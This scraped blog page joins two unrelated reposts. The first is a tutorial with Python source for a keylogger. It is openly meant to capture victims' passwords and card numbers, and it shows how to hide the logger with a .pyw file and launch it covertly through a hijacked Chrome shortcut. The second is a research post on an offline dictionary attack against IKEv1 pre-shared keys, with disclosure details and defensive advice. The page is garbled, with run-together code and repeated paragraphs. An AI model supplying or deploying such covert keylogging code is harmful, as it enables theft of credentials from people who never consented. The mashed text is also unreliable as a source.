Continue reading
الجمعة، 5 يونيو 2020
ANNOUNCEMENT: Submitters Of Papers And Training For Global AppSec DC 2019 (Formerly AppSec USA)
Related articles
How To Make A Simple And Powerful Keylogger Using Python
A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.
How to make a python keylogger?
A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.
Requirements to create a python keylogger
- Computer With Operating system: Windows, Mac os or Linux
- Python must be installed on the system
- Pip (Python index package ) you will need this to install python software packages.
- Pypiwin32 and PyHook packages
- Basic understanding of computers
You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.
Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:
Download python development kit by clicking here.
Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.
Step 2:
Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.
Step 3:
You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.
To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.
Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.
Now click on the Advanced system settings
Choose Environment Variables.
Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts
Click on ok.
Part 2: Installing Pypiwin32 and PyHook python Packages using pip:
Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.
Part 3: Creating and testing the python keylogger:
Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.
Go to the File, from the drop-down menu choose New file.
Python Keylogger source code:
Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.
import pyHook, pythoncom, sys, loggingfile_log='F:\\test\\log.txt'def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return Truehooks_manager=pyHook.HookManager()hooks_manager.KeyDown=onKeyboardEventhooks_manager.HookKeyboard()pythoncom.PumpMessages()
Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.
The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.
Let's make the python keylogger auto-launchable by attaching it the Google Chrome.
Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat
Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.
Read more
- Hacking Jailbreak
- Hacking Page
- Hacker Box
- Pentest Aws
- Hacking Programs
- Pentest Wiki
- Pentest As A Service
- Pentest Network
- Pentest Online Course
- Pentest Vs Red Team
- Pentest Practice Sites
- Pentestmonkey Cheat Sheet
- Pentest Plus
- Hacking Youtube
- Pentest Uk
- Hacking Simulator
- Hacking With Linux
- Pentest Keys
- Pentest With Kali Linux
Practical Dictionary Attack On IPsec IKE
We found out that in contrast to public knowledge, the Pre-Shared Key (PSK) authentication method in main mode of IKEv1 is susceptible to offline dictionary attacks. This requires only a single active Man-in-the-Middle attack. Thus, if low entropy passwords are used as PSKs, this can easily be broken.
This week at the USENIX Security conference, Dennis Felsch will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE. [alternative link to the paper]
In his blog post, Dennis showed how to attack the public key encryption based authentication methods of IKEv1 (PKE & RPKE) and how to use this attack against IKEv2 signature based authentication method. In this blog post, I will focus on another interesting finding regarding IKEv1 and the Pre-Shared Key authentication.
IPsec and Internet Key Exchange (IKE)
IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.
In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.
Pre-Shared Key authentication
As shown above, Pre-Shared Key authentication is one of three authentication methods in IKEv1. The authentication is based on the knowledge of a shared secret string. In reality, this is probably some sort of password.
The IKEv1 handshake for PSK authentication looks like the following (simplified version):
In the first two messages, the session identifier (inside HDR) and the cryptographic algorithms (proposals) are selected by initiator and responder.
In messages 3 and 4, they exchange ephemeral Diffie-Hellman shares and nonces. After that, they compute a key k by using their shared secret (PSK) in a PRF function (e.g. HMAC-SHA1) and the previously exchanged nonces. This key is used to derive additional keys (ka, kd, ke). The key kd is used to compute MACI over the session identifier and the shared diffie-hellman secret gxy. Finally, the key ke is used to encrypt IDI (e.g. IPv4 address of the peer) and MACI.
Weaknesses of PSK authentication
It is well known that the aggressive mode of authentication in combination with PSK is insecure and vulnerable against off-line dictionary attacks, by simply eavesedropping the packets. For example, in strongSwan it is necessary to set the following configuration flag in order to use it:
charon.i_dont_care_about_security_and_use_aggressive_mode_psk=yes
For the main mode, we found a similar attack when doing some minor additional work. For that, the attacker needs to waits until a peer A (initiator) tries to connect to another peer B (responder). Then, the attacker acts as a man-in-the middle and behaves like the peer B would, but does not forward the packets to B.
From the picture above it should be clear that an attacker who acts as B can compute (gxy) and receives the necessary public values session ID, nI, nR. However, the attacker does not know the PSK. In order to mount a dictionary attack against this value, he uses the nonces, and computes a candidate for k for every entry in the dictionary. It is necessary to make a key derivation for every k with the values of the session identifiers and shared Diffie-Hellmann secret the possible keys ka, kd and ke. Then, the attacker uses ke in order to decrypt the encrypted part of message 5. Due to IDI often being an IP address plus some additional data of the initiator, the attacker can easily determine if the correct PSK has been found.
Who is affected?
This weakness exists in the IKEv1 standard (RFC 2409). Every software or hardware that is compliant to this standard is affected. Therefore, we encourage all vendors, companies, and developers to at least ensure that high-entropy Pre-Shared Keys are used in IKEv1 configurations.
In order to verify the attack, we tested the attack against strongSWAN 5.5.1.
Proof-of-Concept
We have implemented a PoC that runs a dictionary attack against a network capture (pcapng) of a IKEv1 main mode session. As input, it also requires the Diffie-Hellmann secret as described above. You can find the source code at github. We only tested the attack against strongSWAN 5.5.1. If you want to use the PoC against another implementation or session, you have to adjust the idHex value in main.py.
Responsible Disclosure
We reported our findings to the international CERT at July 6th, 2018. We were informed that they contacted over 250 parties about the weakness. The CVE ID for it is CVE-2018-5389 [cert entry].
Credits
On August 10th, 2018, we learned that this attack against IKEv1 main mode with PSKs was previously described by David McGrew in his blog post Great Cipher, But Where Did You Get That Key?. We would like to point out that neither we nor the USENIX reviewers nor the CERT were obviously aware of this.
On August 14th 2018, Graham Bartlett (Cisco) email us that he presented the weakness of PSK in IKEv2 in several public presentations and in his book.
On August 15th 2018, we were informed by Tamir Zegman that John Pliam described the attack on his web page in 1999.
On August 14th 2018, Graham Bartlett (Cisco) email us that he presented the weakness of PSK in IKEv2 in several public presentations and in his book.
On August 15th 2018, we were informed by Tamir Zegman that John Pliam described the attack on his web page in 1999.
FAQs
- Do you have a name, logo, any merchandising for the attack?
No. - Have I been attacked?
We mentioned above that such an attack would require an active man-in-the-middle attack. In the logs this could look like a failed connection attempt or a session timed out. But this is a rather weak indication and no evidence for an attack. - What should I do?
If you do not have the option to switch to authentication with digital signatures, choose a Pre-Shared Key that resists dictionary attacks. If you want to achieve e.g. 128 bits of security, configure a PSK with at least 19 random ASCII characters. And do not use something that can be found in public databases. - Am I safe if I use PSKs with IKEv2?
No, interestingly the standard also mentions that IKEv2 does not prevent against off-line dictionary attacks. - Where can I learn more?
You can read the paper. [alternative link to the paper] - What else does the paper contain?
The paper contains a lot more details than this blogpost. It explains all authentication methods of IKEv1 and it gives message flow diagrams of the protocol. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2.
الاشتراك في:
الرسائل (Atom)